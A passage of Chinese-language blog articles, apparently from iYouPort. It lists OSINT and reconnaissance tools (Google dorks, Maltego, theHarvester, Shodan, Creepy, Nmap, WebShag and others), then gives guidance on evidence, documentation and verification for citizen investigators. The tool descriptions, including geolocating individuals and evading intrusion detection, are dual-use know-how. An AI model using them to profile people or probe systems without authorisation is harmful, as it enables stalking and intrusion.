在调查目标人或公司时，许多 IT 安全新手都忘记了使用传统搜索引擎进行侦察和收集的重要性。在这种情况下，Google Dorks 可以成为您最好的朋友。他们自2002年以来一直在那里，可以帮助你进行在线侦察。

Google Dorks 只是向 Google 查询某些可能对您的安全调查有用的信息的方法。

搜索引擎会索引有关互联网上几乎所有内容的大量信息，包括个人、公司及其数据。

- Filetype：您可以使用此 dork 查找任何文件类型。
- Ext：可以帮助您查找具有特定扩展名的文件（例如.txt，.log 等）。
- Intext：有助于搜索任何页面内的特定文本。

- Intitle：它将搜索页面标题内的任何特定单词。
- Inurl：将在任何网站的 URL 内寻找提到的单词。

更多：《高级运算符辅助开源调查：巧用搜索引擎挖掘情报》

日志文件原则上不应该被搜索引擎索引，但是，依旧可以，并且您可以从这些 Google Dorks 获取更多有价值的信息，如下所示：

「图」

现在让我们关注最受尊敬的 InfoSec 专业人员使用的其他更实用的工具：

8. Maltego

我们介绍过它，而且不止一次，不管是在社交工程攻击技术演示上，还是 OSINT，很多时候都需要它。这家伙是个神奇的工具，可以追踪您需要匹配的任何目标的足迹。这个软件由 Paterva 开发，它是 Kali Linux 发行版的一部分。

Maltego 这个软件包含的最好的东西之一是他们称之为 ‘transforms’ 的。在某些情况下，转换是免费提供的，而在其他情况下，您只能找到商业版本。它们将帮助您运行与外部应用程序不同类型的测试和数据集成。

要使用 Maltego，您需要在其网站上开设一个免费帐户，之后，您可以启动新计算机或从现有计算机上运行目标转换。一旦您选择了转换，Maltego 应用程序将开始运行 Maltego 服务器的所有转换。

最后，Maltego 将向您显示指定目标的结果，如 IP，域名，AS 号码等等。

9. Recon-Ng

Recon-ng 已经内置在 Kali Linux 发行版中，是另一个用于对远程目标进行快速彻底侦察的强大工具。

这个网络侦察框架是用 Python 编写的，包括许多模块，便利功能和交互式帮助，以指导您如何正确使用它。

简单的基于命令的界面允许您运行常见操作，如与数据库交互，运行 Web 请求，管理 API 密钥或标准化输出内容。

获取有关任何目标的信息非常简单，可以在安装后几秒钟内完成。它包括有趣的模块，如google_site_web 和 bing_domain_web，可用于查找有关目标域名的有价值信息。

「图」

10. theHarvester

theHarvester 是获取有关任何公司/网站的任何子域名、虚拟主机、开放端口、和电子邮件地址的有价值信息的另一个替代方案。

当您处于针对您自己的本地网络或第三方授权网络的渗透测试的第一步时，它尤其有用。与以前的工具相同，Harvester 包含在 Kali Linux 发行版中。

theHarvester 使用许多资源来获取 **PGP** 密钥服务器之类的数据，**Bing**，百度，雅虎和谷歌搜索引擎等数据，以及 **Linkedin**，**Twitter** 和 **Google Plus** 等社交网络数据。

它还可以用于启动主动渗透测试，如基于字典攻击，DNS 反向查找和使用字典暴力枚举的 DNS TLD 扩展的 DNS 破解。

11. Shodan

这个我们也介绍过。Shodan 是一个网络安全监控和搜索引擎，专注于深网和物联网。它是由 John Matherly 于 2009 年创建的，用于跟踪任何网络中可公开访问的计算机。

它通常被称为“黑客搜索引擎”，因为它可以让您找到并探索连接到网络的不同类型的设备，如服务器，路由器，网络摄像头等。

Shodan 非常像 Google，但它不会向您展示精美的图像和丰富的内容/信息网站，而是向您展示与 SSH，FTP，SNMP，Telnet，RTSP，IMAP 等 IT 安全研究人员的兴趣更相关的内容，结果将按国家/地区，操作系统，网络和端口排序。

Shodan 用户不仅能够访问服务器、网络摄像头和路由器，它可以用于扫描几乎任何连接到互联网的东西，包括但不限于交通信号灯系统，家庭供暖系统，水上乐园控制面板，水厂，核电站等等。

12. Jigsaw

Jigsaw 用于收集有关任何公司员工的信息。该工具完全适用于像谷歌，LinkedIn，微软那种公司。

唯一的缺点是这些查询是针对位于 jigsaw.com 的 Jigsaw 数据库启动的，因此，我们完全依赖于它们允许我们在数据库中探索的信息。您将能够找到有关大公司的信息，但如果您正在探索一个不那么著名的创业公司，可能它就没那么好用了。

13. SpiderFoot

如果你想要自动化 OSINT 并且在侦察、威胁情报和周界监控方面有快速的结果，SpiderFoot 是最好的侦察工具之一。

它是由 Steve Micallef 撰写的，他在构建这个应用程序并为 Splunk 编写 SecurityTrails Addon 方面做得非常出色。

此侦察工具可以帮助您启动超过100个公共数据源的查询，以收集有关通用名，域名，电子邮件地址和 IP 地址的情报。

使用 Sipiderfoot 非常简单，只需指定目标，选择要运行的模块，Spiderfoot 将为您从模块中收集所有 intel 数据。

14. Creepy

Creepy 是一个为信息安全专业人士提供的地理位置 OSINT 工具。它通过查询 Twitter，Flickr，Facebook 等社交网络平台，提供从任何个人获取完整地理定位数据的能力。

如果有人将图像上传到任何激活了地理位置功能的社交网络，那么您将能够看到此人所处的完整活动状态。

您可以根据确切的位置，甚至按日期进行过滤。之后，您可以以 CSV 或 KML 格式导出结果。

「图」

15. Nmap

Nmap 是最受欢迎和最广泛使用的安全审计工具之一，其名称的意思是“网络映射器”。是一个免费的开源实用程序，用于跨本地和远程主机进行安全审核和网络探索。

一些主要功能包括：

- 主机检测：Nmap 能够识别任何网络中具有某些端口打开的主机，或者能够发送对 ICMP 和 TCP 数据包的响应的主机。
- IP 和 DNS 信息检测：包括设备类型，Mac 地址甚至反向 DNS 名称。
- 端口检测：Nmap 可以检测目标网络上打开的任何端口，并让您知道其上可能正在运行的服务。
- 操作系统检测：获取所有连接主机的完整操作系统版本检测和硬件规格。
- 版本检测：Nmap 还可以获取应用程序名称和版本号。

16. WebShag

WebShag 是一个很棒的服务器审计工具，用于扫描 HTTP 和 HTTPS 协议。与其他工具相同，它是 Kali Linux 的一部分，可以帮助您进行 IT 安全研究和渗透测试。

您将能够启动简单的扫描，或使用高级方法（如通过代理或 HTTP 身份验证）。

用 Python 编写，它可以是审计系统时最好的盟友之一。

主要功能包括：

- 端口扫描
- 网址扫描
- 文件模糊查找
- 网站抓取

为了避免被远程服务器安全系统阻止，它通过每个 HTTP 代理服务器启动随机请求来使用智能 IDS 规避系统，因此您可以继续审核服务器而不会被禁止。

17. OpenVAS

OpenVAS（开放式漏洞评估系统）是一个安全框架，包括针对信息安全专业人员的特定服务和工具。

这是一个开源漏洞扫描程序和安全管理器，是在著名的 Nessus 从开源转换为私有之后构建的。然后，Nessus 漏洞扫描程序的原始开发人员决定分割原始项目并创建 OpenVAS。

虽然它比旧的 Nessus 设置起来有点麻烦，但在使用它来分析远程主机的安全性时却非常有效。

OpenVAS 中包含的主要工具是 OpenVAS Scanner，这是一种高效的代理，可以在目标计算机上执行所有网络漏洞测试。

另一方面，另一个主要组件称为 OpenVAS Manager，它基本上是漏洞管理解决方案，允许您将扫描数据存储到 SQLite 数据库中，因此您可以以一种简单易用的方式搜索、过滤和排序扫描结果。

18. Fierce

Fierce 是一种用 PERL 编写的 IP 和 DNS 侦察工具，很著名，帮助 IT 专业人员找到与域名相关的目标 IP。

它最初是由 RSnake 和旧http://ha.ckers.org/的其他成员一起编写的。它主要用于本地和远程企业网络。

一旦定义了目标网络，它将针对所选域启动多次扫描，然后它将尝试查找配置错误的网络和易受攻击的点，这些点可能泄露私人的和有价值的数据。

结果将在几分钟内准备就绪。

「图」

19. Unicornscan

Unicornscan 是用于安全研究的顶级收集工具之一。它还有一个内置的关联引擎，旨在同时实现高效、灵活和可扩展的能力。

主要功能包括：

- 完整的 TCP / IP 设备/网络扫描。
- 异步无状态 TCP 扫描（包括所有 TCP 标志变体）。
- 异步 TCP 标志检测。
- UDP 协议扫描。
- A / P OS识别。
- 应用和组件检测。
- 支持 SQL 关系输出。

20. Foca

FOCA (Fingerprinting Organizations with Collected Archives) 是 ElevenPaths 编写的工具，可用于扫描、分析、提取和分类来自远程 Web 服务器及其隐藏的信息。

Foca 能够分析和收集来自 MS Office 套件，OpenOffice，PDF 以及 Adobe InDesign 和 SVG 和 GIF 文件的有价值数据。此安全工具还可以与 Google，Bing 和 DuckDuckGo 搜索引擎一起积极地从这些文件中收集其他数据。获得完整文件列表后，它会开始提取信息，以尝试从文件中识别更有价值的数据。

好啦，正如您所看到的，事实上有很多侦察和收集工具。在这篇文章中，我们只提到了20种最受欢迎的工具，如果您有相关经验，欢迎留言介绍您认为最顺手的工具给大家。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

你知道什么才是真正的*调查*吗？所谓的"起底"经常是骗人的 - iYouPort

让它民主-公民掌握真相的技巧和技术

什么样的东西才能叫调查？调查中最重要的要素都是些什么？什么是好的证据？如何建立强大的文档处理流程？验证的重点是什么、以及安全的关键都有哪些？

「图」

「图」

“调查记者”这个词已经基本尽人皆知，以至于如今任何人都可以声称“起底”来伪装调查。但是，说实话，中文稿件中那些所谓的起底真的很尴尬，他们不是调查，甚至有可能是权势的宣传工具。

即便您无心从事真相捍卫的工作，作为普通公民，您也很有必要了解：究竟什么才是调查，以便您可以准确识别真相和伪装成真相的认知操纵。

💡这就是本文的目的，即 不仅希望帮助所有致力于捍卫真相的人提高技能，并且，帮助所有不希望自己被操纵的普通人，推高警惕。

—— 建立坚实的证据 ——

在整个工具包中，我们将使用证据的一般含义：即 那些对您正在调查的疑问、问题、人员、或流程具有重要意义的信息。

关于证据的法律定义可以更加严格，但是我们采取的这种通用含义可以提供更多样化的调查。

只有证据才能确认您提出的声称或假设。是证据证明了发生的事，或者没有发生的事。

对您收集到的信息进行解释和归因过程中会产生大量的证据；最重要

的是要记住，⚠并非每一条信息都是证据或可以变成证据。

调查是一个有组织的证据收集过程，旨在尽可能接近真相。过去留下了很多残留物：灰尘、脚印、文件、录像、录音、证人、气味、文书工作 … 收集证据意味着找到并验证这些痕迹。

虽然重建历史是不可能的，但这些事件、关系、交易、或地点的痕迹可以证明你的故事是基于现实的。

如果您将调查视为一个拼图游戏，每个链接或连接都会让您更加接近于看到更大的图景。随着您连接到更多的部分，图片会开始变得更清晰。

💡无论你收集多少信息，你总会得到一些你一开始可能没有想到的东西：一个更清晰的搜索框架、一个图像或地图的草图、一个新的信息来源，甚至是一个新的调查起点。

这非常正常。

识别这些信息之间的联系将使您更接近您寻求的答案，以及证明它们的证据。

当您收集到足够好的证据时，您所拥有的信息将得到很好的支持并更接近事实。

⚠否则，您尝试达到的任何结论至少都是不完整的，最糟糕的是完全错误。你需要一个坚实的、不可动摇的基础。

「图」

「图」

—— 你希望得出的结论是否有良好的证据 ——

并非所有证据都是好的或相关的。但是，这里有一些品质可以帮你区分什么是“好”和有用的调查证据。

💡确保您走上正确道路的最佳方法是测试信息的强度、准确性和完整性，并向自己提出一些指导性的问题。

👉好的证据是第一手的。你亲眼目睹了什么；你是否可以访问相关人员或有关它的官方文件？

中国的绝大多数消息都没有正规文件，也就是没有证据。这就是为什么它无法触动当局的弱点。即便其声称并不假，但由于没有证据，当局完全可以直接否认。

☞好的证据获取路径应该可以被完好保存的。您是否能够绘制引导您获取证据的路径？记录您研究过程的每一步、并以其他研究人员以后可以访问它的方式保存它，确认其准确性并理解它？

☞好的证据可以验证。您和其他人可以检查并确认您拥有的证据是真实准确的吗？

☞良好的证据来源可由第三方确认，即 除了您和您信息的来源之外的第三方。您是唯一可以访问信息来源的人吗？唯一可以说它是真实信息的人？如果是这样，可能有人会挑战你的证据、或声称你修改了证据，这可能会成为你的一个重大弱点。但是，如果您正在处理易受攻击的来源 —— 即 透明度革命中的关键举报人，那么保守秘密就是唯一可行的选择。

☞好的证据包含可由第三方确认的信息。是否有任何人或其他任何东西可以支持您的声称和证据？比如另一名专家、另一名证人、一个正在研究该问题的组织、一份官方内部文件 …… 越多越好。

☞好的证据是可以公开来源的。您是否能够公开此证据的来源以支持您的论点和主张，或者它是否必需保密？如果是后者这种情况，您可能需要其他方法向他人证明您所说的是真实的。

☞良好的证据具有记录在案的、不间断的监管链。您是否记录了研究过程的每一步？您是否根据确切的来源详细信息、日期、时间和地点保存了所有调查结果？您是否安全地保存了所有信息并确保它永远不会离开您的掌控范围、即 不会被篡改，并且您始终可以将所有信息追溯到其原始来源？

☞良好的证据是无瑕疵的，并且不会被篡改。你能确保没有任何人可以访问该证据并且没有任何人以任何方式修改它吗？

💡以上这些均是"开源调查（OSINT）的优势" —— 开源调查可以在每一步细节上展示充分的证据，可被任何人检验。

☞良好的证据包括元数据，如有关其作者，位置，时间的信息。你能否自信地说你知道某张照片或视频是在消息来源宣称的时间和地点拍摄的？并且准确地显示了它声称它在显示的内容？如果您收集了证据

并自行记录了图像，您是否可以通过保留其元数据来证明其真实性？任何丢失的元数据都可能是日后作证的弱点 —— 请确保您的安全。

📀关于这点详见我们对元数据的具体分析：《无处可藏的数字足迹—亦正亦邪元数据（上篇）》；《都是工具，从自我保护到有效利用 —— 亦正亦邪元数据（下篇）熟练使用它们是数字公民的基本功》

☞良好的证据可以与其他证据相关联并将不同信息链接在一起。您是否可以将您的证据与来自更多来源的其他信息和调查结果联系起来，以支持您的论点或为您正在调查的问题创建更强的叙述？

☞良好的证据将指引您注意到您的信息薄弱或不完整的地方。它是否会提出更多问题，向您展示信息差距以及寻找其他证据的新方法？这是一件好事，它将帮助您更好地了解问题，并最终建立一个更强大的论点。

☞良好的证据不会使人类信息来源面临调查人员无法管理的风险。有人可以将您的证据直接或间接地链接到易受攻击的信息来源吗？如果信息来源的身份暴露，可能会有危险吗？

如果是，您能否以任何方式减少这些风险以保护该来源？有没有办法找到其他证据 —— 这些证据支持你的叙述，但不会暴露潜在的脆弱来源？如果没有，您可能需要重新考虑使用该证据并首先确保您的来源和您自己的安全。

比如，通过 Wikileaks 的匿名递送渠道接收消息就是基本安全的，如果内部泄漏者要求与您会面传递消息，就可能是危险的。

☞好的证据可能会挑战你的先入为主的想法，甚至可能与你认为的“事实”完全矛盾。它是否表明您的期望或论点完全无效？它是否会让您从不同的角度看待问题，甚至完全改变您对某个问题的看法？您是否很相信某个消息来源，但是一旦您从其他来源分析了更多证据后，最终就会怀疑它？别怕，这是好事，通过承认和接受，你正在成为一个更好的、更公正的、更值得信赖的调查员。

这点非常重要。正如我们在战略性欺骗防御技巧中所分析到的：⚠调查人员和情报分析师一样，他们有一个巨大的弱点就是，他们的脑子里首先会有一个*目标结论*，然后去寻求证据佐证这一结论，这就很容易导致他们无视那些可证伪的信息，而专门选择可证实性的信息，这是很容易被骗的。

在这里回顾《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》。

👉好的证据会自己说话。你能通过仅仅展示自己拥有的东西，并相信人们会理解这些信息及其含义吗？或者你还需要建立一些更强大的图片或叙述来提升它的可信度吗？最好不用后者，看到 Wikileaks 所做的，就是拿出证据，让证据自己说话。

📢并非您发现的每一个证据都符合上述所有这些条件。这是可以预料的。但是，当你发现一个证据可以符合上述很多条件时，那么就足够确认，你可以使用它。

「图」

「图」

—— 必需有文档 ——

您需要记录您的流程、收集证据、跟踪线索、访谈、建模、绘图、计划、以及构成您调查的所有思考，这样对您来说将更有用 —— 并且更能支持您的结论。

这意味着要跟踪你所做的每一步；你收集的每一个数据和证据包含的详细信息，例如 它是什么、何时、何地、为何以及如何收集到的，等等；你必须能保留这些数据的初始形式和面貌。

⚠文档的主要目标是创建可验证的调查记录。

这称之为“调查的卫生” —— 定期维护某些做法，以确保您的调查是健康的，如果有人试图驳回您的证据，你可以随时拿出这份文档，就可以经得起任何审查和批评。

📢这份文档对您的价值和对其他人的价值是一样重要的。这些步骤将使您作为调查员的工作更有效，并且在开始时不太可能遇到常见的错误。

"OSINT调查演示"都是这种文档，这些演示展示的思考方式是每一位调查人员都应该熟练掌握的。

不仅如此，随着您的调查进展，该文档可以帮助您记住以前的结论，如何获得之前似乎无用但现在看起来很重要的线索或证据。您可能还

会从中发现您忘记跟进的内容、或您想要其他人帮助的问题。

⚠只有当你能自信地说明为什么你追求一个来源而不是另一个来源时，你的调查才能成为一个更有价值的和更值得信赖的资源。

如果您打算发表您的调查结果，如果您准备将案件告上法庭、或向代表犯罪和虐待案件的人权组织提供您的证据，那么，您处理文档的习惯就非常重要。我们在“给行动者的护身符和武器”中有很多相解释。

此外，如果个人或专业问题或不断变化的社会政治条件中断了您的工作 —— 包括您因调查而被捕，这种情况下，其他人将更容易解释并继续您的调查，或使用您设法发现的证据，展开新的独立调查。

如果您最终选择与其他合作伙伴合作调查工作，这些习惯也非常有用。

虽然文档很重要，但也存在风险因素。

⚠您的调查日志可能会使潜在的对手受益 —— 例如，有人决定阻止您发现他们的恶劣行为 —— 如果信息落入了坏人之手。

所以，全程都需要突出一个关键字：保密。

在调查开始和调查期间评估任何潜在的风险至关重要。

⚠您需要认真对待您的人身安全和您的资源安全，并且，请使用可靠的加密存储技术和设备，安全地保存证据和文档，以防止任何不必要的偷窥。

确保始终了解基本的数字和物理安全保护措施，并了解您可能需要的工具和技能，以确保安全并保证数据的安全存储 —— 我们在“技术防身”和“给行动者的护身符和武器”栏目中有相当多的介绍。

在特别复杂的环境中工作时，如果您认为您所进行的任何调查可能造成风险时，请让值得信赖的人为您提供建议或寻找您可能参加的安全知识培训。

那么您需要的这份文档究竟应该是什么样的？详见下面内容。

「图」

「图」

—— 关于完整文档的提示 ——

☞详细的采访笔记

如果您正在采访消息来源或与其他调查员会面，请务必记做笔记。记录参与者会面的日期、开始和结束时间、位置和相关人员的名字。

请注意讨论的内容，如果可以举行后续会议（比如有人说“我和X人决定我们将在周四14:00通过电话再次发言”）都必须记录下来。

您可以手动记笔记或在设备上记录，或两者同时记录，只要您能够保证这些记录的安全。

录音也是跟踪对话的好方法。但是，⚠要谨防暴露人们的身份，特别是在采访和记录易受攻击的信息来源时。确保每个人的安全始终是您的首要任务。

调查人员经常使用隐藏的录音来帮助揭露重要信息，但由于有关某些地方的法律限制、以及最重要的是与之相关的安全风险的争议，我们建议谨慎参考这一方法。

如果您必须通过窃听以获得证据，那么请确保元数据充分保留、并可被证实无篡改。由于音频和视频被深度造假的可能性已经非常高，所以元数据几乎是唯一能拯救您的东西。

☞跟踪联系信息

如果您要创建联系人列表，不仅要包括他们的姓名和联系信息，还要包括您每次与他们对话时的方式，以及他们为您提供的信息的摘要。

例如，如果您有研究对象的电话号码或电子邮件地址列表，请确保记下您第一次遇到他们时他们使用的名字、电话号码或电子邮件地址。

如果您的调查包括敏感信息并易受攻击，信息来自有风险的来源，⚠请在所有笔记和工作文档中为他们使用别名，不管是在线的还是离线的。

☞记录您的调查过程

记录您已采取的调查步骤及其结果，以及收集证据所涉及的每种工具和技术的日期和详细信息。

例如，这样写：“2019年1月3日，我和我的研究合作伙伴张三使用 Google Earth 捕获了卫星图像，并记录了李四公司建筑工地的位置”；或者 “2019年3月14日，我试着拨打与该公司相关的不同公共电话号码，尝试我是否可以获得记录，但我被转移到语音信箱。”

随着您的研究进展，特别是对于长期调查来说，这将帮助您记住过去的步骤，您将能够回想起找不到某些数据的失败尝试，或者发现您已经拥有的信息它们不应被重复。

☞勾勒出一个大纲

随着您收集越来越多的信息，创建一个关于您到目前为止已经弄清楚的内容的粗略叙述大纲是很有帮助的。

这将作为调查不同阶段的记录，并将帮助您查看可能缺少的信息，是否需要考虑新的调查方向，以及是否应验证或改进某些信息等等。

此外，创建数据和调查过程的可视化图可以帮助您以全新的视角看待事物。

☞保护你的证据

您应该创建所有证据的物理和数字日志。包括日期、来源、存储位置、和安全信息。

您的日志还应包括对证据状态的说明，收集证据的人员、以及与之交互的人员。

⚠⚠保持所有这些内容安全！最好不要把它们全部放在同一个地方，以避免完全丢失或损坏！！⚠⚠

「图」

「图」

—— 如果未经验证，则无效 ——

你所在的城镇有一个长达十年未解决的污水问题，但市长声称他有一个可以快速高效的解决方案，只要你再投票给他一次……？这是政客最喜欢玩的把戏。

当然，一切皆有可能，你的市长有可能的确是神仙下凡，甚至可能有

一堆数据可以支持这一结论。⚠但是，请记住，如果没有验证，则无效。

数据是很能唬人的东西，数据造假也是政客最喜欢采用的伎俩。所以，公民必须谨记验证的原则。

在当下，验证已经变得格外重要，⚠因为当今可用信息的质量和可信度正在受到多方面的挑战 —— 从“假新闻”创建者和错误信息 trolls 、到所谓的消息灵通的社交媒体人士 ……他们只是在传播信息，而不验证消息。

无论您的调查目标是什么，重要的是能够捍卫你如何获得你作为证据所呈现的信息。

⚠如果您的调查中的任何一个信息细节被证明不是真的，那么它就会破坏您的整个调查、以及您提出的任何叙述或结论。

调查期间有不同程度的证据。无论你遵循什么样的路线，你总是会试图通过验证技术更接近第一手证据。

以下是您在整个调查过程中可能需要解决和验证的一些信息来源示例。

☞口口相传：“一位邻居说他家孩子的同学的祖母和姐姐开的小店被政府查封了”…… 你经常能听到这类传言，所以你需要挖掘更接近的事实。

☞专家陈述：“专家说”有可能是很唬人的玩意，而且这种情况经常发生。不过专家陈述也可以是开始验证您所拥有的其他信息的好方法，但您仍需要收集一些第一手资料或查找更多来源，以验证相同的信息。

☞个人评价：你去跟那些遭受了同样事的人对话。您越来越接近实际情况，但是，任何个人经验和陈述都需要与其他证人或现有文件（如果有的话）一起检查。

☞研究文件或报告：例如，一个可靠的非政府组织的报告根据与直接参与调查的社区成员的访谈来描述具体情况。研究产生的文件使您的调查更近了一步，但是，就像专家陈述一样，您仍然需要用证人或至少另一个陈述相同的独立来源来证实这些。

☞官方文件：一份官方文件记录了上述事件。签名和注明日期的官方

文件总是非常有力的证据，因为您可以确定负责记录案件的机构和人员，并在需要时跟进更多问题。官方文件不容易获得，当权者基本都是透明度革命的敌人。但只要能获得就可以使证据更强大。

☞照片、视频、音频：这些都可以为您提供证据。如果图像和音频是完全真实的，则可以将它们链接到事件中涉及的位置、时间和人员。如上所述，通过检查EXIF数据和元数据来检查图像和音频的真伪，验证来源和内容的确切性；如果没有经过这种确认，就不可以作为证据。

☞第一手证据：当情况发生时你就在现场，也许你已经设法拍摄了这一事件。这就是第一手证据，也是您调查的最强证据。您有机会，同时有责任彻底记录整个事件。您还可能需要确保与其他相关人员建立联系，以便能够从第三方确认您的观察和证据，如果有人怀疑准确性的话。

—— 什么时候需要验证 ——

简短的回答就是：总是需要。

验证是一个迭代过程。你必须一遍又一遍地继续这样做。这个过程不仅与您发现的一个证据有关，而且关系到所有部分如何组合在一起。

请注意，⚠您找到的任何新证据都可能对您已经验证过的旧证据产生合理怀疑。这就是为什么记录你的证据很重要；这样您就可以追溯所有步骤，并一次又一次地进行验证。

—— 验证的挑战 ——

在调查过程中，验证可能遇到很多障碍；所以不妨在调查开始之前就考虑验证。

除了如何找到其他信息来源之外，⚠您自己的假设可能是要克服的最大挑战之一。也就是我们在“战略性欺骗”系列中强调过的克服先入之见。

无论您对发生的事情采取何种假设，个人偏见都会影响到您处理和验证信息的方式。很多时候，您可能只是在寻找*证实*自己的偏见的信息来源，而不是检查可能与您的发现相矛盾的任何方面。

这就是为什么在反骗技巧中我们要强调：重视证伪，而不是证实。如

果您发现无论如何都无法证伪的时候，那么它就是真的。

⚠如果最初假设是错误的，那么此后任何假设都会妨碍正确验证。

至关重要的是不要把任何事情视为理所当然，因为即使是最值得信赖的和最可靠的消息来源，有时也会无意中出错。

另一个挑战是找到创造性的验证方法 —— 🌤准备好以非预期的方式使用信息来源。

例如，如果你想验证一位公职人员是否出现在某个地方，尽管他自己否认了这一点，你可能不仅想要访问他的社交媒体账户，还要访问他的亲戚和朋友的账户，以找到可能的消息、评论和图片的线索。

「图」

「图」

—— 如何验证 ——

有助于首先考虑您对所收集信息的任何疑问或疑虑，以及您自己的假设、和您或其他相关人员可能存在的偏见。

你知道什么是100%的确定性吗？首先需要回答以下所有问题：

👉如果是图像，你知道是谁拍摄的吗？是什么时候拍摄的？使用的是什么相机？在什么地方拍摄的？你怎么知道它没有被修改过？任何人都可以通过提供这个图像来误导你吗？—— 这些都可以通过调取元数据和基本图片验证方法来回答。（两个链接中就是具体方法）

👉您能真正确认图像中显示的主题和事件来自您正在调查的特定日期，时间，地点和事件吗？—— OSINT 技术完全可以回答这个问题。

👉这个问题有争议吗？传播这一信息是否有某个权势利益方能从中获益？有些团体传播虚假信息就是希望有人可以不经检查就给予其影响力。

⚠ 请注意，任何消息的传播都存在受益方和受损方，但是，作为调查人士，只要消息本身是真实的，你不应该去考虑任何关于谁受益的问题。对此，我们在这篇文章中有过解释《在无可言说之中言说中国》

—— 验证信息有三个主要阶段：

☞验证来源：您从哪里获得的信息。

☞验证内容：它是否与它声称的完全相同。

☞验证其相关性：是否适合您的调查。

在任何调查中，您都将收集到来自许多不同来源的信息。有些是显而易见的，而有些可能不太清楚。

您可以获取匿名电子邮件、文档信封，在社交媒体上观看视频或在随机网站上查找文档。如果对该信息的来源有任何疑问，重要的是要验证它来自哪里 —— 来源是否值得信赖、是否准确和全面、是否被篡改，以及是否传递这些信息的背后有一些动机。

信息和证据可以采取各种形式、各种媒介；图片、视频、音频、书面证词和网页等等。

对于每一种媒体，都有相对的工具、技术和技巧可以帮助验证过程，您会发现这个工具包中有许多东西我们以前都解释过。

在开始调查之前，您无需了解每种媒体的所有内容。

随着你的进展，你会发现很多东西，通过不断练习发现最顺手的工具。

为了严格测试您的证据并控制您的偏见，您可以记录研究过程和任何发现，并将其呈现给其他调查人员，并确认其对其他人有意义。

但是，在调查的任何阶段，要始终确保您信任与您共享信息的人 —— 包括任何协作者 —— 并且，⚠任何了解该信息的人都应该知道在沟通和共享信息时保持数字和物理安全的最佳方法。

关于安全警告和建议请在我们的栏目“技术防身”栏目中找到。

事实核查必须有下面步骤：

「图」

「图」

—— 从你擅长的东西入手 ——

图2

当您刚刚开始调查时，从最舒适和最顺手的位置入手是有意义的。

如果你是那种了解大量社交媒体研究技巧、或善于挖掘数据库并索引有关各种主题的在线信息的网络侦察员 —— 也就是OSINT爱好者，那么就从您最擅长的地方开始吧。

注：在这里看到我们提供的信息验证工具箱《🔭 超级情报收集工具库：开源验证和调查工具及使用方法》和《社交媒体情报和反情报基本工具手册：自我人肉（2）》

如果虚拟空间不是你的强项，可以先观察并记录物理世界中发生的事。拍照、详细记录事件和情况，与当事人交谈，看看你是否能够获得他们的信任并建立资源。

如果尝试采用全新的或让你感觉不舒服的信息收集方式开始第一次调查可能会非常辛苦。那就从你擅长的事情开始吧。

随着互联网上数字设备和众多信息源的可用性越来越高，坐在屋里就可以进行各种调查任务。

数字调查通常主要涉及案头研究，但也可以包括基本的离线研究，例如去图书馆和档案馆、打电话，或所有这些。

数字调查就是OSINT，详见上述两个工具库。如果您可以熟练使用这些工具，将是非常强大的、证据无可辩驳。

尤其是，⚠您的调查目标发生的地方并不总是容易进入的和容易联系当事人的，比如中国新疆，但一样不会阻碍事实验证，就如我们在这篇文章中所演示的，详见《中国新疆古老的清真寺真的被毁了吗？》

请注意：调查过程中存在很多数字威胁，最常见的是调查人员被在线追踪，从而在未完成之前就暴露了调查目的 —— ⚠这是绝对应该避免的。所以，任何从事调查工作的人都应该首先掌握可靠的匿名技术，掩盖自己的身份。

🌤最好的方法是我们介绍过的袜子木偶和角色扮演，即 将调查者身份与您的真实身份切割开。在这里回顾：《某些行动者，你需要一个袜子木偶》、《角色扮演：行动者刚需》，这里还有一个关于调查的

演习《好玩的间谍挑战》。

对于某些调查，笔和纸是更合适的方法。💡传统的和新的调查技术相结合可能会非常有效。

所以您最好各方面都会一点。这样能增强效率。

通常，尽管有大量的在线信息，但有些证据上您找不到数字资源。这可能是您所在的国家/地区没有相关数据（尤其是数字化程度低的地区经常会这样）。

但是，💡通过选择创造性的信息收集方式，您通常可以找到比预期更多的内容。也就是：联合。

例如，世界各地捐助者资助的非政府组织必须进行背景研究，以便在开始任何项目之前探索其感兴趣领域的背景。在此过程中，他们经常会进行调查并收集从未发布过的详细数据集。

你可以有效利用这些数据。

例如，你可能需要找出有多少退伍军人返回了家乡，这不是一件容易的事。但是，为该特定群体提供心理健康服务的组织可能会提供这些数字；同样，您可能想知道河流的污染问题如何影响当地社区，但很难收集准确的科学的证据。但也许会有一个环保NGO对那些遭受污染而生病的人进行了研究和采访，于是这样的调查就可以被直接使用。

你需要向非政府组织解释你寻求这些数据的目的，他们就会给你，甚至可以协助你进一步调查。

大多数调查要求您进行自己的实地工作以收集证据并进行验证。现场研究意味着您可以直接识别和收集信息，您有责任对其进行记录并确认其准确性。

在进行实地调查时，您要非常小心。

无论是采访、与采访对象会面、或者到某个地点检查证据，都要首先了解每一步所涉及的各种风险，这至关重要。不仅是你自己的风险，还包括你接触的所有人的风险 —— 考虑对方面临的环境背景。

想一切办法避免危险。

要知道何时重新考虑，何时寻求帮助，或在可能的情况下暂时搁置一

个项目，这些都是作为一名负责任的调查人员应有的态度和资产。

有些时候搁置是好办法，但有些时候并不是，我们介绍给一个逆流而上才能赢的案例，在这里看到《高明的反抗》。所以，请具体评价您所面临的状况，采取最适合的方法。〇 广告

原文

使用智能手机收集数据进行调查项目：简易指南 - iYouPort

让它民主-公民掌握真相的技巧和技术

这是一份 “移动数据收集简易指南”，介绍了使用智能手机收集数据的要求和挑战。希望对中国的公民调查组织有所帮助。

「图」

「图」

使用智能手机收集数据在易用性和降低成本方面有很多优势，特别是与纸质数据收集方法相比：

- 在人口稀少的地区也可以使用智能手机，这意味着如果需要的话，收集数据的工作可以由生活在现场的人众包；
- 智能手机往往至少携带了基本的照相和录音功能，这就可以进行多种形式的数据收集；
- 如果有互联网连接，数据收集的结果可以实时发送。

然而，有一些常见的陷阱，如果做得不好，反而会使它的成本更高，时间更长，难度更大。

📌 本指南的目标是以紧凑的形式为您提供明确的指导。

为了帮助您了解在收集数据的整个过程中，在之前、期间、和之后需要解决的各种问题和任务，我们将它们分为四个关键角色，需要成为您的团队的重要部分：

1.专案负责人 —— 负责调查的整体管理。负责确定目标，并负责项目期间需要做出的所有重大决策；还负责调查团队之间的沟通，以确保所有人都能够合理协调推进调查项目。以及报告项目状态，保留经验教训并进行回顾。

